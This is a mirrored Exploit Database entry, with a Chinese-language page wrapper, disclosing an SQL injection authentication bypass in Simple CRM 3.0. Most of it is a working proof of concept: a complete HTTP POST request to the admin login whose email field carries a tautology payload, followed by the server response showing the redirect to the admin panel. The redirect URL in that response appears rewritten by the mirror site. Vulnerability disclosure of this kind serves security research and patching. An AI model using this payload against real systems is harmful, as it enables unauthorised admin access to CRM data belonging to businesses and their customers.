Simple CRM 3.0 – ’email’ SQL injection (Authentication Bypass)

• Exploit Database
• 24 阅读

• 作者： Rinku Kumar
  日期： 2021-06-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50055/

• # Exploit Title: Simple CRM 3.0 - 'email' SQL injection (Authentication Bypass) 
  # Date: 22/06/2021
  # Exploit Author: Rinku Kumar (rinku191)
  # Vendor Homepage: https://phpgurukul.com/
  # Software Link: https://phpgurukul.com/small-crm-php/
  # Version: 3.0
  # Category: Webapps
  # Tested on: Apache2+MariaDB latest version
  # Description : Simple CRM suffers from SQL injection vulnerability, allowing an un-authenticated attackers to login into CRM admin panel.
  
  
  Vulnerable Page: /crm/admin/
  
  POC-Request
  -----------------------------------
  POST /scrm/crm/admin/ HTTP/1.1
  Host: 127.0.0.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 35
  Origin: http://127.0.0.1
  Connection: close
  Referer: http://127.0.0.1/scrm/crm/admin/
  Cookie: PHPSESSID=oj0mohnmrt809ndld8pg1p9f14
  Upgrade-Insecure-Requests: 1
  
  email='+or+2>1+--+&password=&login=
  
  ---------------------------------------
  POC-Response
  
  HTTP/1.1 200 OK
  Date: Tue, 22 Jun 2021 15:53:00 GMT
  Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.33
  X-Powered-By: PHP/7.2.33
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate
  Pragma: no-cache
  Content-Length: 48
  Connection: close
  Content-Type: text/html; charset=UTF-8
  
  <script>window.location.href='https://www.exploit-db.com/exploits/50055/home.php'</script>